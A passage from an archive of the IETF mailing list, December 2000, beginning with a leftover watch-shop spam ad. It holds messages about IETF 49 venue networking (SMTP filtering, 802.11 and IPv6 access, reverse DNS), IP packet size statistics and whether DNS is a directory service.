mechanical watch of the series 2609 till unique, composite and precise mechanical o'clock - Marine timer . It is unique factory in Russia, which makes mechanical hours with the Swiss quality. Factory, which makes watches for the Russian Air Forces , Russian Naval Forces. All mechanical watch which we offer to you, will be delivered to you directly from the factory. If it isn't in the warehouse of the factory, we will place your order directly at the 1-st Moscow Watch Factory without any middlemans. The submarine "Kursk" had on board mechanical marine hronometr 6MX. =============================================================== The "table" of orders. Here you can to order, to find, to know almost everything, than the Russia is rich, everything that does not contradict Russian Federation laws. Here you can receive or order: The information about any enterprise, firm, organization, or person in Russia The production or any goods of Russian manufactories, and other things if it is possible. =============================================================== www.rusgoods.com www.rusgoods.ru From owner-ietf-outbound Sat Dec 9 15:10:34 2000 Received: by ietf.org (8.9.1a/8.9.1a) id PAA18129 for ietf-outbound.10@ietf.org; Sat, 9 Dec 2000 15:10:02 -0500 (EST) Received: from horowitz.ne.mediaone.net (horowitz.ne.mediaone.net [24.147.233.208]) by ietf.org (8.9.1a/8.9.1a) with SMTP id PAA17657 for ; Sat, 9 Dec 2000 15:07:46 -0500 (EST) Received: (from marc@localhost) by horowitz.ne.mediaone.net (8.8.8/8.8.8) id PAA11575; Sat, 9 Dec 2000 15:07:47 -0500 (EST) X-Authentication-Warning: horowitz.ne.mediaone.net: marc set sender to marc@horowitz.ne.mediaone.net using -f Sender: marc@mit.edu From: Marc Horowitz To: ietf@ietf.org Subject: room at the Sheraton available Date: 09 Dec 2000 15:07:46 -0500 Message-ID: Lines: 11 User-Agent: Gnus/5.0807 (Gnus v5.8.7) Emacs/20.3 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Loop: ietf@ietf.org I have a reservation at the Sheraton starting tonight which, sadly, I will be unable to use. The want to charge me a cancellation fee unless I find someone to transfer the reservation to, so I'm looking for such a person. It is about 3pm EST/noon PST on Saturday as I send this; please don't reply after 5pm EST/2pm PST, as I expect I will have offers by then. I will attempt to reply to all requests by 6pm EST, but if I have not replied by then, it is safe to assume someone else got the room. Marc From owner-ietf-outbound Sun Dec 10 09:31:32 2000 Received: by ietf.org (8.9.1a/8.9.1a) id JAA28780 for ietf-outbound.10@ietf.org; Sun, 10 Dec 2000 09:30:02 -0500 (EST) Received: from babar.switch.ch (babar.switch.ch [130.59.4.2]) by ietf.org (8.9.1a/8.9.1a) with SMTP id JAA27746 for ; Sun, 10 Dec 2000 09:25:11 -0500 (EST) Received: (from leinen@localhost) by babar.switch.ch (8.9.3+Sun/8.9.3) id PAA14518; Sun, 10 Dec 2000 15:24:34 +0100 (MET) X-Authentication-Warning: babar.switch.ch: leinen set sender to simon@limmat.switch.ch using -f To: Fred Baker Cc: "Uyeshiro, Robin" , "'Pipo Bui'" , ietf@ietf.org Subject: Re: IP Packet size References: <5.0.2.1.2.20001208163755.02b65940@flipper.cisco.com> X-Face: 1Nk*r=:$IBBb8|TyRB'2WSY6u:BzMO7N)#id#-4_}MsU5?vTI?dez|JiutW4sKBLjp.l7,F 7QOld^hORRtpCUj)!cP]gtK_SyK5FW(+o"!or:v^C^]OxX^3+IPd\z,@ttmwYVO7l`6OXXYR` From: Simon Leinen In-Reply-To: <5.0.2.1.2.20001208163755.02b65940@flipper.cisco.com> Date: 10 Dec 2000 15:24:34 +0100 Message-ID: Lines: 30 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.92 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Loop: ietf@ietf.org >>>>> "fb" == Fred Baker writes: [an excellent characterization of the packet size distribution you will typically see on the Internet] > The average of the above is generally in the 200-250 bytes per packet > neighborhood, largely due to the predominance of 552 byte segments. If > Path MTU were more widely used - something one would expect to happen > as systems are upgraded over time - this likely would grow to upper > hundreds. PMTUD is quite widely used these days. Whenever I look at the traffic size distributions on our transatlantic links (on which traffic is dominated by TCP in exactly the way you described), I see around 30% packets in the "1024-1536" bin, anyway always *much* more than in the 512-576 bins. The average packet size I see right now is near 500 bytes. Your other predictions are backed up by my data---40-50% of tinygrams, and a fairly even distribution of the other sizes, with some bias towards smaller packets. -- Simon. swiEG1>sh ip ca fl IP packet size distribution (41188M total packets): 1-32 64 96 128 160 192 224 256 288 320 352 384 416 448 480 .001 .473 .035 .013 .011 .007 .006 .005 .004 .004 .004 .008 .004 .003 .004 512 544 576 1024 1536 2048 2560 3072 3584 4096 4608 .003 .003 .061 .052 .289 .000 .000 .000 .000 .000 .000 From owner-ietf-outbound Sun Dec 10 16:30:54 2000 Received: by ietf.org (8.9.1a/8.9.1a) id QAA00222 for ietf-outbound.10@ietf.org; Sun, 10 Dec 2000 16:30:02 -0500 (EST) Received: from coconut.itojun.org (coconut.itojun.org [210.160.95.97]) by ietf.org (8.9.1a/8.9.1a) with SMTP id QAA27747 for ; Sun, 10 Dec 2000 16:18:31 -0500 (EST) Received: (from itojun@localhost) by coconut.itojun.org (8.9.3+3.2W/3.7W) id GAA27068 for ietf@ietf.org; Mon, 11 Dec 2000 06:18:26 +0900 (JST) Date: Mon, 11 Dec 2000 06:18:26 +0900 (JST) From: Jun-ichiro itojun Hagino Message-Id: <200012102118.GAA27068@coconut.itojun.org> To: ietf@ietf.org Subject: [ITEF49] SMTP port filtered? X-Loop: ietf@ietf.org sorry for too wide distribution, there's no terminal staff contact point listed on the webpage. it seems that outgoing SMTP session is filtered (SYN ACK never comes back from outside the venue). could you permit outgoing session, or provide SMTP relay server at the venue? to prevent spams, filtering inbound SMTP should be enough. itojun From owner-ietf-outbound Sun Dec 10 16:40:09 2000 Received: by ietf.org (8.9.1a/8.9.1a) id QAA02428 for ietf-outbound.10@ietf.org; Sun, 10 Dec 2000 16:40:03 -0500 (EST) Received: from servo.qualcomm.com (servo.qualcomm.com [129.46.76.82]) by ietf.org (8.9.1a/8.9.1a) with SMTP id QAA02010 for ; Sun, 10 Dec 2000 16:38:05 -0500 (EST) Received: (from karn@localhost) by servo.qualcomm.com (8.9.3/8.9.3/1.0) id NAA22904; Sun, 10 Dec 2000 13:38:06 -0800 (PST) Date: Sun, 10 Dec 2000 13:38:06 -0800 (PST) Message-Id: <200012102138.NAA22904@servo.qualcomm.com> From: Phil Karn To: ietf@ietf.org Subject: 802.11 service via HDR at Embassy Suites & Hilton X-Loop: ietf@ietf.org Qualcomm would like to announce that 802.11b coverage is now available at the Harbor Island Hilton and at the Embassy Suites on Pacific Highway. Internet connectivity to each access point is provided by a prototype Qualcomm HDR wireless terminal. Performance is comparable to a DSL link. 802.11 coverage is excellent within the Embassy Suites atrium, while coverage at the Hilton is best near the bar. At the Hilton, the 802.11 access point and HDR terminal can be seen in a display case just outside the bar. Problems and questions can be directed to ietf.hdr.fut.ext@qualcomm.com. Phil Karn From owner-ietf-outbound Sun Dec 10 17:30:12 2000 Received: by ietf.org (8.9.1a/8.9.1a) id RAA16576 for ietf-outbound.10@ietf.org; Sun, 10 Dec 2000 17:30:03 -0500 (EST) Received: from mage.qualcomm.com (mage.qualcomm.com [129.46.65.64]) by ietf.org (8.9.1a/8.9.1a) with SMTP id RAA14772 for ; Sun, 10 Dec 2000 17:24:10 -0500 (EST) Received: from [207.137.80.24] (vpnap-g1-012125.qualcomm.com [10.13.12.125]) by mage.qualcomm.com (8.9.3/8.9.3/1.0) with ESMTP id OAA03569; Sun, 10 Dec 2000 14:24:03 -0800 (PST) Mime-Version: 1.0 X-Sender: jwn2@mage.qualcomm.com (Unverified) Message-Id: In-Reply-To: <200012102118.GAA27068@coconut.itojun.org> References: <200012102118.GAA27068@coconut.itojun.org> X-Mailer: Eudora [Macintosh version 5.1-120900] X-PGP-RSA-Fingerprint: EA53 01A6 C076 F9C2 09E8 9480 645A 8857 X-PGP-DH-Fingerprint: 4F5E 56C9 BD4D 0227 331F 6AEE 9590 24F9 6FD7 04F8 Date: Sun, 10 Dec 2000 14:23:33 -0800 To: Jun-ichiro itojun Hagino From: John W Noerenberg II Subject: Re: [ITEF49] SMTP port filtered? Cc: ietf@ietf.org Content-Type: text/plain; charset="us-ascii" ; format="flowed" X-Loop: ietf@ietf.org At 6:18 AM +0900 12/11/00, Jun-ichiro itojun Hagino wrote: >sorry for too wide distribution, there's no terminal staff contact >point listed on the webpage. >it seems that outgoing SMTP session is filtered (SYN ACK never >comes back from outside the venue). could you permit outgoing >session, or provide SMTP relay server at the venue? to prevent >spams, filtering inbound SMTP should be enough. You were right, and the problem has been fixed. Sorry for the hiccup, folks. -- john noerenberg jwn2@qualcomm.com -------------------------------------------------------------------- We all learn here by the honorable path of horrible mistakes. -- Katherine Paterson, "The Master Puppeteer," 1975 -------------------------------------------------------------------- From owner-ietf-outbound Sun Dec 10 18:00:31 2000 Received: by ietf.org (8.9.1a/8.9.1a) id SAA25956 for ietf-outbound.10@ietf.org; Sun, 10 Dec 2000 18:00:02 -0500 (EST) Received: from starfruit.itojun.org ([207.137.72.166]) by ietf.org (8.9.1a/8.9.1a) with SMTP id RAA23708 for ; Sun, 10 Dec 2000 17:52:50 -0500 (EST) Received: from itojun.org (localhost [127.0.0.1]) by starfruit.itojun.org (Postfix) with ESMTP id AC8CA7E55 for ; Mon, 11 Dec 2000 06:13:12 +0900 (JST) To: ietf@ietf.org Subject: [IETF49] outgoing SMTP blocked X-Template-Reply-To: itojun@itojun.org X-Template-Return-Receipt-To: itojun@itojun.org X-PGP-Fingerprint: F8 24 B4 2C 8C 98 57 FD 90 5F B4 60 79 54 16 E2 From: Jun-ichiro itojun Hagino Date: Mon, 11 Dec 2000 06:13:12 +0900 Sender: itojun@itojun.org Message-Id: <20001210211312.AC8CA7E55@starfruit.itojun.org> X-Loop: ietf@ietf.org could you please allow outgoing SMTP session (TCP port 25) from the venue? I understand it is to prevent spammers, but for spam protection, forbidding inbound SMTP should be enough... itojun From owner-ietf-outbound Sun Dec 10 18:10:14 2000 Received: by ietf.org (8.9.1a/8.9.1a) id SAA28658 for ietf-outbound.10@ietf.org; Sun, 10 Dec 2000 18:10:02 -0500 (EST) Received: from starfruit.itojun.org ([207.137.72.166]) by ietf.org (8.9.1a/8.9.1a) with SMTP id SAA28433 for ; Sun, 10 Dec 2000 18:09:02 -0500 (EST) Received: from itojun.org (localhost [127.0.0.1]) by starfruit.itojun.org (Postfix) with ESMTP id E34437E23 for ; Mon, 11 Dec 2000 08:08:55 +0900 (JST) To: ietf@ietf.org Subject: [IETF49] IPv6 network information X-Template-Reply-To: itojun@itojun.org X-Template-Return-Receipt-To: itojun@itojun.org X-PGP-Fingerprint: F8 24 B4 2C 8C 98 57 FD 90 5F B4 60 79 54 16 E2 From: ietf49@kame.net Reply-To: ietf49@kame.net Date: Mon, 11 Dec 2000 08:08:55 +0900 Sender: itojun@itojun.org Message-Id: <20001210230856.E34437E23@starfruit.itojun.org> X-Loop: ietf@ietf.org http://www.kame.net/ietf49/ has how-to for IPv6 networking at the venue. Enjoy! in a nutshell, - IPv6 is available on wireless, and laptop terminal room - use stateless autoconf (RFC2461) - IPv6 transport-ready nameserver is at 3ffe:501:4819::42 (or you may use IPv4 one if your notebook is dual-stacked) - questions should be routed to ietf49@kame.net itojun, ietf49@kame.net From owner-ietf-outbound Mon Dec 11 04:10:35 2000 Received: by ietf.org (8.9.1a/8.9.1a) id EAA21984 for ietf-outbound.10@ietf.org; Mon, 11 Dec 2000 04:10:02 -0500 (EST) Received: from sj-msg-core-2.cisco.com (sj-msg-core-2.cisco.com [171.69.43.88]) by ietf.org (8.9.1a/8.9.1a) with SMTP id EAA20750 for ; Mon, 11 Dec 2000 04:04:29 -0500 (EST) Received: from p7020-img-nt.cisco.com (sj-dial-4-47.cisco.com [171.68.181.176]) by sj-msg-core-2.cisco.com (8.9.3/8.9.1) with ESMTP id BAA00455; Mon, 11 Dec 2000 01:03:29 -0800 (PST) Message-Id: <5.0.2.1.2.20001211001459.02be7600@flipper.cisco.com> X-Sender: fred@flipper.cisco.com X-Mailer: QUALCOMM Windows Eudora Version 5.0.2 Date: Mon, 11 Dec 2000 00:15:45 -0800 To: Simon Leinen From: Fred Baker Subject: Re: IP Packet size Cc: ietf@ietf.org In-Reply-To: References: <5.0.2.1.2.20001208163755.02b65940@flipper.cisco.com> <5.0.2.1.2.20001208163755.02b65940@flipper.cisco.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed X-Loop: ietf@ietf.org At 03:24 PM 12/10/00 +0100, Simon Leinen wrote: > > The average of the above is generally in the 200-250 bytes per packet > > neighborhood, largely due to the predominance of 552 byte segments. If > > Path MTU were more widely used - something one would expect to happen > > as systems are upgraded over time - this likely would grow to upper > > hundreds. > >PMTUD is quite widely used these days. Whenever I look at the traffic >size distributions on our transatlantic links (on which traffic is >dominated by TCP in exactly the way you described), I see around 30% >packets in the "1024-1536" bin, anyway always *much* more than in the >512-576 bins. The average packet size I see right now is near 500 >bytes. sounds like my prediction of mean packet growth is in fact occuring in your part of the world. I'm happy to hear it. From owner-ietf-outbound Mon Dec 11 10:21:34 2000 Received: by ietf.org (8.9.1a/8.9.1a) id KAA06650 for ietf-outbound.10@ietf.org; Mon, 11 Dec 2000 10:20:02 -0500 (EST) Received: from sky.irisa.fr (sky.irisa.fr [131.254.60.147]) by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA04930 for ; Mon, 11 Dec 2000 10:10:24 -0500 (EST) Received: from irisa.fr (rocha.irisa.fr [131.254.13.52]) by sky.irisa.fr (8.9.3/8.9.3) with ESMTP id QAA14302 for ; Mon, 11 Dec 2000 16:10:25 +0100 (MET) Message-ID: <3A34EE62.B566E683@irisa.fr> Date: Mon, 11 Dec 2000 16:10:26 +0100 From: Ali Boudani Organization: INRIA - RENNES X-Mailer: Mozilla 4.75 [en] (WinNT; U) X-Accept-Language: en, fr MIME-Version: 1.0 To: ietf@ietf.org Subject: (no subject) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Content-Transfer-Encoding: 7bit X-Loop: ietf@ietf.org Content-Transfer-Encoding: 7bit hello is MPLS is just using for the unicast , and if there is anything for the multicast where can I find something related thanx From owner-ietf-outbound Mon Dec 11 12:10:21 2000 Received: by ietf.org (8.9.1a/8.9.1a) id MAA28555 for ietf-outbound.10@ietf.org; Mon, 11 Dec 2000 12:10:03 -0500 (EST) Received: from patty.ka9q.net (patty.ka9q.ampr.org [199.106.106.7]) by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA26842 for ; Mon, 11 Dec 2000 12:04:42 -0500 (EST) Received: (from karn@localhost) by patty.ka9q.net (8.9.3/8.9.3/Debian 8.9.3-21) id JAA10395; Mon, 11 Dec 2000 09:04:47 -0800 Date: Mon, 11 Dec 2000 09:04:47 -0800 Message-Id: <200012111704.JAA10395@patty.ka9q.net> From: Phil Karn To: ietf@ietf.org Subject: Reverse DNS problems with HDR/802.11 coverage Reply-to: karn@qualcomm.com X-Loop: ietf@ietf.org The Qualcomm IP address block (199.106.118.0) that we're using to support 802.11 coverage at the Hilton and Embassy Suites is missing the DNS glue records needed to support inverse (PTR) queries. This can cause some connections from users in that block to open but hang for long periods of time before a login prompt or server banner is received. This happens when the remote server does an inverse DNS query on the incoming IP address for logging purposes and requires that this query complete (or time out) before spawning the server application program. AT&T Cerfnet is working on the problem, and we hope it will be fixed soon. My apologies for not catching this sooner, as I had modified all my own servers long ago to not do this brain-damaged inverse lookup. Phil Karn From owner-ietf-outbound Mon Dec 11 12:20:10 2000 Received: by ietf.org (8.9.1a/8.9.1a) id MAA01956 for ietf-outbound.10@ietf.org; Mon, 11 Dec 2000 12:20:02 -0500 (EST) Received: from topaz.3com.com (topaz.3com.com [192.156.136.158]) by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA00450 for ; Mon, 11 Dec 2000 12:15:40 -0500 (EST) From: Jim_Stephenson-Dunn@3com.com Received: from opal.3com.com (opal.3com.com [139.87.50.117]) by topaz.3com.com (Switch-2.0.1/Switch-2.0.1) with ESMTP id eBBHEJS18104; Mon, 11 Dec 2000 09:14:19 -0800 (PST) Received: from hqoutbound.ops.3com.com (hqoutbound.OPS.3Com.COM [139.87.48.104]) by opal.3com.com (Switch-2.0.1/Switch-2.0.1) with SMTP id eBBHFAd04266; Mon, 11 Dec 2000 09:15:10 -0800 (PST) Received: by hqoutbound.ops.3com.com(Lotus SMTP MTA v4.6.7 (934.1 12-30-1999)) id 882569B2.005EF0FA ; Mon, 11 Dec 2000 09:17:00 -0800 X-Lotus-FromDomain: 3COM To: Randy Bush cc: bmanning@zed.isi.edu, fred@cisco.com, anthony@ATKIELSKI.COM, ietf@ietf.org Message-ID: <882569B2.005EE58D.00@hqoutbound.ops.3com.com> Date: Mon, 11 Dec 2000 09:16:14 -0800 Subject: Re: Internationalization and the IETF Mime-Version: 1.0 Content-type: text/plain; charset=us-ascii Content-Disposition: inline X-Loop: ietf@ietf.org As I recall, didn't we (members of the IETF list) almost have a holy (flame) war, about wheather DNS was a directory service about 6 months ago...... Once more into the breech dear friends........ (with apologies to Shakespeare) Jim Randy Bush on 12/08/2000 08:49:24 PM Sent by: Randy Bush To: Bill Manning cc: fred@cisco.com, anthony@ATKIELSKI.COM, ietf@ietf.org (Jim Stephenson-Dunn/C/HQ/3Com) Subject: Re: Internationalization and the IETF > Buzzt. 1000 times on the chauk board: > The DNS is not a directory service... but it's an address registry? From owner-ietf-outbound Mon Dec 11 12:40:23 2000 Received: by ietf.org (8.9.1a/8.9.1a) id MAA07362 for ietf-outbound.10@ietf.org; Mon, 11 Dec 2000 12:40:03 -0500 (EST) Received: from black-ice.cc.vt.edu (root@black-ice.cc.vt.edu [128.173.14.71]) by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA05763 for ; Mon, 11 Dec 2000 12:32:48 -0500 (EST) From: Valdis.Kletnieks@vt.edu Received: from black-ice.cc.vt.edu (valdis@LOCALHOST [127.0.0.1]) by black-ice.cc.vt.edu (8.12.0.Alpha1/8.12.0.Alpha1) with ESMTP id eBBHWkCW12372; Mon, 11 Dec 2000 12:32:47 -0500 Message-Id: <200012111732.eBBHWkCW12372@black-ice.cc.vt.edu> X-Mailer: exmh version 2.2 06/23/2000 with nmh-1.0.4+dev To: karn@qualcomm.com Cc: ietf@ietf.org Subject: Re: Reverse DNS problems with HDR/802.11 coverage In-Reply-To: Your message of "Mon, 11 Dec 2000 09:04:47 PST." <200012111704.JAA10395@patty.ka9q.net> X-Url: http://black-ice.cc.vt.edu/~valdis/ X-Face: 34C9$Ewd2zeX+\!i1BA\j{ex+$/V'JBG#;3_noWWYPa"|,I#`R"{n@w>#:{)FXyiAS7(8t( ^*w5O*!8O9YTe[r{e%7(yVRb|qxsRYw`7J!`AM}m_SHaj}f8eb@d^L>BrX7iO[ Mime-Version: 1.0 Content-Type: multipart/signed; boundary="==_Exmh_243839624P"; micalg=pgp-sha1; protocol="application/pgp-signature" Content-Transfer-Encoding: 7bit Date: Mon, 11 Dec 2000 12:32:46 -0500 X-Loop: ietf@ietf.org --==_Exmh_243839624P Content-Type: text/plain; charset=us-ascii On Mon, 11 Dec 2000 09:04:47 PST, Phil Karn said: > My apologies for not catching this sooner, as I had modified all my > own servers long ago to not do this brain-damaged inverse lookup. On the other hand, checking the PTR and A records for an inbound connection for sanity often reveals a DNS hack attempt. Or that's the theory anyhow. Personally, I treat a PTR check as a clue-meter for the ISP involved - if they have a broken DNS, they're probably lame enough to also be infested with hackers, spammers, and other low-lifes.... Let the flaming commence ;) -- Valdis Kletnieks Operating Systems Analyst Virginia Tech --==_Exmh_243839624P Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 Comment: Exmh version 2.2 06/16/2000 iQA/AwUBOjUPvnAt5Vm009ewEQJtigCg3DP5d5iNKLk3qLlXDdUNoS34oXkAoJNh Xc/WVf24L+QwYTi9Y+Ui3BGt =V1r5 -----END PGP SIGNATURE----- --==_Exmh_243839624P-- From owner-ietf-outbound Mon Dec 11 13:20:16 2000 Received: by ietf.org (8.9.1a/8.9.1a) id NAA16110 for ietf-outbound.10@ietf.org; Mon, 11 Dec 2000 13:20:02 -0500 (EST) Received: from mtiwmhc28.worldnet.att.net (mtiwmhc28.worldnet.att.net [204.127.131.36]) by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA14441 for ; Mon, 11 Dec 2000 13:12:31 -0500 (EST) From: syncool@att.net Received: from webmail.worldnet.att.net ([204.127.135.42]) by mtiwmhc28.worldnet.att.net (InterMail vM.4.01.03.10 201-229-121-110) with SMTP id <20001211181201.FXKG1500.mtiwmhc28.worldnet.att.net@webmail.worldnet.att.net> for ; Mon, 11 Dec 2000 18:12:01 +0000 Received: from [207.137.65.27] by webmail.worldnet.att.net; Mon, 11 Dec 2000 18:12:01 +0000 To: ietf@ietf.org Subject: Addressless Internet [stalker alert..] Date: Mon, 11 Dec 2000 18:12:01 +0000 X-Mailer: AT&T Message Center Version 1 (May 2 2000) X-Authenticated-Sender: syncool@att.net Message-Id: <20001211181201.FXKG1500.mtiwmhc28.worldnet.att.net@webmail.worldnet.att.net> X-Loop: ietf@ietf.org Folks, Just thought I'd alert you all to the danger of running into me in the hallways and getting buttonholed on this wonderful, new kind of sliced bread - after all, what's a more dangerous marketing type than the nutty inventor!) The approach has been judged one of the best papers at the IEEE 1st ECUMN conference and a fuller paper is to be published in the Annals of Telecommunications. The conf. paper and presentation (pdf,ps) are temporarily hosted at http://affine.watson.ibm.com/tmp/ That said, I should admit I'm no expert and need lots of comments and advice! Yes, really, I came here with the express purpose and mandate to lobby for a rearchitecture of the Internet. Some have already pointed to me a certain similarity to the TRIAD project of David Cheritan - the TRIAD is very similar to what I had initially proposed (within IBM) in '96-'97, and I would like to clarify that the present proposal is a lot more drastic! I hope to convince enough people to get a bof or a wg going, could you please help? thanks, -p. --- V. Guruprasad vgprasad@att.net (while at IETF meeting) prasad@watson.ibm.com From owner-ietf-outbound Mon Dec 11 18:50:24 2000 Received: by ietf.org (8.9.1a/8.9.1a) id SAA06215 for ietf-outbound.10@ietf.org; Mon, 11 Dec 2000 18:50:02 -0500 (EST) Received: from lawyers.grc.nasa.gov (IDENT:root@ietf.207.137.72.200.tx.verio.net [207.137.72.200]) by ietf.org (8.9.1a/8.9.1a) with SMTP id SAA04241 for ; Mon, 11 Dec 2000 18:41:02 -0500 (EST) Received: from lawyers.grc.nasa.gov (mallman@localhost) by lawyers.grc.nasa.gov (8.9.3/8.9.3) with ESMTP id LAA13495; Mon, 11 Dec 2000 11:01:39 -0500 Message-Id: <200012111601.LAA13495@lawyers.grc.nasa.gov> To: Pipo Bui From: Mark Allman Reply-To: mallman@grc.nasa.gov cc: ietf@ietf.org Subject: Re: IP Packet size Organization: NASA GRC/BBN Technologies Song-of-the-Day: Given to Fly Date: Mon, 11 Dec 2000 11:01:39 -0500 Sender: mallman@lawyers.grc.nasa.gov X-Loop: ietf@ietf.org > I am evaluating an IP in IP encapsulation technology and would > like to know the average size or size range of an IP Packet, > including the 20 byte header. Can you tell me this or where to > find it? If it helps, part of a paper I wrote for October's CCR considers the size of packets sent by our web server. You can grab the paper from: http://roland.grc.nasa.gov/~mallman/papers/ allman --- Mark Allman -- NASA GRC/BBN -- http://roland.grc.nasa.gov/~mallman/ From owner-ietf-outbound Tue Dec 12 02:31:11 2000 Received: by ietf.org (8.9.1a/8.9.1a) id CAA28905 for ietf-outbound.10@ietf.org; Tue, 12 Dec 2000 02:30:02 -0500 (EST) Received: from smta-hub-6.CGNET.COM (208-224.cgnet.com [198.93.224.208]) by ietf.org (8.9.1a/8.9.1a) with SMTP id CAA27260 for ; Tue, 12 Dec 2000 02:25:58 -0500 (EST) Received: from smta-hub-3.CGNET.COM ([198.93.224.235]) by smta-hub-6.cgnet.com (PMDF V6.0-24 #46896) with ESMTP id <0G5G00GM01Z6A3@smta-hub-6.cgnet.com> for ietf@ietf.org; Mon, 11 Dec 2000 23:25:54 -0800 (PST) Received: from noccgiarx4.CGNET.COM ([198.93.224.76]) by smta-hub-3.cgnet.com (PMDF V6.0-24 #46897) with SMTP id <0G5G00NCP1Z62D@smta-hub-3.cgnet.com>; Mon, 11 Dec 2000 23:25:54 -0800 (PST) Received: from 198.93.224.76 by noccgiarx4.CGNET.COM (InterScan E-Mail VirusWall NT); Mon, 11 Dec 2000 23:25:10 -0800 (Pacific Standard Time) Received: by NOCCGIARX4 with Internet Mail Service (5.5.2650.21) id ; Mon, 11 Dec 2000 23:25:10 -0800 Date: Mon, 11 Dec 2000 23:25:25 -0800 From: "Durah, Kheder" Subject: RE: Internationalization and the IETF To: Jim_Stephenson-Dunn@3com.com, Randy Bush Cc: bmanning@zed.isi.edu, fred@cisco.com, anthony@ATKIELSKI.COM, ietf@ietf.org Message-id: MIME-version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-type: text/plain X-Loop: ietf@ietf.org Dear Colleagues. This is my first transmission to IETF, and would like to second the fact that DNS is an address registry and not a directory service. RGDS Kheder Durah, Ph.D. -----Original Message----- From: Jim_Stephenson-Dunn@3com.com [mailto:Jim_Stephenson-Dunn@3com.com] Sent: Monday, December 11, 2000 7:16 PM To: Randy Bush Cc: bmanning@zed.isi.edu; fred@cisco.com; anthony@ATKIELSKI.COM; ietf@ietf.org Subject: Re: Internationalization and the IETF As I recall, didn't we (members of the IETF list) almost have a holy (flame) war, about wheather DNS was a directory service about 6 months ago...... Once more into the breech dear friends........ (with apologies to Shakespeare) Jim Randy Bush on 12/08/2000 08:49:24 PM Sent by: Randy Bush To: Bill Manning cc: fred@cisco.com, anthony@ATKIELSKI.COM, ietf@ietf.org (Jim Stephenson-Dunn/C/HQ/3Com) Subject: Re: Internationalization and the IETF > Buzzt. 1000 times on the chauk board: > The DNS is not a directory service... but it's an address registry? From owner-ietf-outbound Tue Dec 12 03:00:25 2000 Received: by ietf.org (8.9.1a/8.9.1a) id DAA09149 for ietf-outbound.10@ietf.org; Tue, 12 Dec 2000 03:00:02 -0500 (EST) Received: from black-ice.cc.vt.edu (root@black-ice.cc.vt.edu [128.173.14.71]) by ietf.org (8.9.1a/8.9.1a) with SMTP id CAA05476 for ; Tue, 12 Dec 2000 02:48:09 -0500 (EST) From: Valdis.Kletnieks@vt.edu Received: from black-ice.cc.vt.edu (valdis@LOCALHOST [127.0.0.1]) by black-ice.cc.vt.edu (8.12.0.Alpha1/8.12.0.Alpha1) with ESMTP id eBC7m7CW234382; Tue, 12 Dec 2000 02:48:08 -0500 Message-Id: <200012120748.eBC7m7CW234382@black-ice.cc.vt.edu> X-Mailer: exmh version 2.2 06/23/2000 with nmh-1.0.4+dev To: "Durah, Kheder" Cc: ietf@ietf.org Subject: Re: Internationalization and the IETF In-Reply-To: Your message of "Mon, 11 Dec 2000 23:25:25 PST." X-Url: http://black-ice.cc.vt.edu/~valdis/ X-Face: 34C9$Ewd2zeX+\!i1BA\j{ex+$/V'JBG#;3_noWWYPa"|,I#`R"{n@w>#:{)FXyiAS7(8t( ^*w5O*!8O9YTe[r{e%7(yVRb|qxsRYw`7J!`AM}m_SHaj}f8eb@d^L>BrX7iO[ Mime-Version: 1.0 Content-Type: multipart/signed; boundary="==_Exmh_-1433412604P"; micalg=pgp-sha1; protocol="application/pgp-signature" Content-Transfer-Encoding: 7bit Date: Tue, 12 Dec 2000 02:48:07 -0500 X-Loop: ietf@ietf.org --==_Exmh_-1433412604P Content-Type: text/plain; charset=us-ascii On Mon, 11 Dec 2000 23:25:25 PST, "Durah, Kheder" said: > This is my first transmission to IETF, and would like to second the fact > that DNS is an address registry and not a directory service. It's all fine and good to insist that sort of thing until you're blue in the face, but the reality is that we don't have a really good worldwide directory service deployed, and as a result, we have a preponderance of www.yourproductorcompanyhere.com. We've given them the DNS hammer, and no screwdrivers. As a result, there's a lot of pounding of DNS nails... -- Valdis Kletnieks Operating Systems Analyst Virginia Tech --==_Exmh_-1433412604P Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 Comment: Exmh version 2.2 06/16/2000 iQA/AwUBOjXYN3At5Vm009ewEQLS+QCgmJkY0eqPETwiA5TyxhwOPXuE1xEAoIOt rrIeKot0cEOJoVppN54F1z2l =lDGz -----END PGP SIGNATURE----- --==_Exmh_-1433412604P-- From owner-ietf-outbound Tue Dec 12 03:20:16 2000 Received: by ietf.org (8.9.1a/8.9.1a) id DAA14959 for ietf-outbound.10@ietf.org; Tue, 12 Dec 2000 03:20:04 -0500 (EST) Received: from smta-hub-6.CGNET.COM (208-224.cgnet.com [198.93.224.208]) by ietf.org (8.9.1a/8.9.1a) with SMTP id CAA07976 for ; Tue, 12 Dec 2000 02:56:15 -0500 (EST) Received: from smta-hub-3.CGNET.COM ([198.93.224.235]) by smta-hub-6.cgnet.com (PMDF V6.0-24 #46896) with ESMTP id <0G5G00GGS3DSXI@smta-hub-6.cgnet.com> for ietf@ietf.org; Mon, 11 Dec 2000 23:56:16 -0800 (PST) Received: from noccgiarx4.CGNET.COM ([198.93.224.76]) by smta-hub-3.cgnet.com (PMDF V6.0-24 #46897) with SMTP id <0G5G0012Q3DRKJ@smta-hub-3.cgnet.com>; Mon, 11 Dec 2000 23:56:15 -0800 (PST) Received: from 198.93.224.76 by noccgiarx4.CGNET.COM (InterScan E-Mail VirusWall NT); Mon, 11 Dec 2000 23:55:32 -0800 (Pacific Standard Time) Received: by NOCCGIARX4 with Internet Mail Service (5.5.2650.21) id ; Mon, 11 Dec 2000 23:55:32 -0800 Date: Mon, 11 Dec 2000 23:55:50 -0800 From: "Durah, Kheder" Subject: RE: Internationalization and the IETF To: Valdis.Kletnieks@vt.edu Cc: ietf@ietf.org Message-id: MIME-version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-type: text/plain X-Loop: ietf@ietf.org I see what you mean..it's not a perfect world and misuse of technology standards always exist as long as human intelligence is involved. Do you think going the 